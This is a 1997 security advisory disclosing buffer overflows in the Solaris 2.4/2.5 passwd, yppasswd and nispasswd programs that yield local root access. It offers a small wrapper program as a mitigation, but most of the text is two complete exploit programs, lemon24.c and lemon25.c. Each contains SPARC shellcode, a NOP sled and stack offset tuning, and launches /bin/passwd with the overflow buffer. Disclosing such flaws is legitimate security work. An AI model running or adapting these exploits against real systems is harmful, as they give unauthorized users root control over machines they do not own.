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Big Security Hole in Solaris 2.X (X)passwd + exploit
Tue Feb 25 14:22 EET 1997 Romania
" Another letter - another bug "
An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd)
Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in
an internal function ( some like sa_chauthtok() ). Using a buffer
overflow exploit anyone can gain root access (passwd need suid exec bit
from root). passwd has a second overflow bug when it is called with
'-s' option in an internal strcpy().
I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for
sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick
here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it
must to shift the LEMON_BUFFER in a reverse direction before exec -
that's happening only for a special combination of the exec args -
see my exploits.
A way to prevent the exploit is to rename passwd, nispasswd and yppasswd
and get out suid-exec bit. After that you have to compile a little
program ( some like newpass.c ) with name passwd or nispasswd or yppasswd
like root and give them suid-exec bit. You have to change the "hidden_passwd"
constant with the new name of Xpasswd files.
Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: [email protected] , [email protected] , [email protected]
Phone: (401) - 410.60.88
---------------------------- file newpass.c -------------------------------
#include <stdio.h>
#include <syslog.h>
#define hidden_passwd "/bin/hpasswd" /*change here ...*/
#define MAX_LENGTH 32
void main(int argc, char *argv[])
{
int i;
char *args[10];
if(argc < 10)
{
args[0]=hidden_passwd;
for(i = 1; i<argc; i++)
{
if(strlen(argv[i]) > MAX_LENGTH)
{
printf("You reached the maximum length in args\n");
exit(0);
}
else args[i]=argv[i];
}
args[i]=(char *)0;
execv(args[0],args);
}
else
{
printf("You reached the maximum number of args !\n");
}
}
---------------------------- end newpass.c -----------------------------------
------------------------------ EXPLOITS ----------------------------------
------------------------------ lemon24.c --------------------------------
/*
Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this
exploit and the prog for Solaris 2.5 - the overflow buffer is shifted
with 1 char )
With argv[1] you can modify the stack_offset (+-256).
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 600
#define EXTRA 600
#define STACK_OFFSET 1400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
perror("execl failed");
}
-------------------------------- end of lemon24.c ----------------------------
---------------------------------- lemon25.c --------------------------------
/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1100
#define EXTRA 1200
#define STACK_OFFSET 3800
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", buf,(char *) 0);
perror("execl failed");
}
----------------------------------- end of lemon25.c -------------------------
# End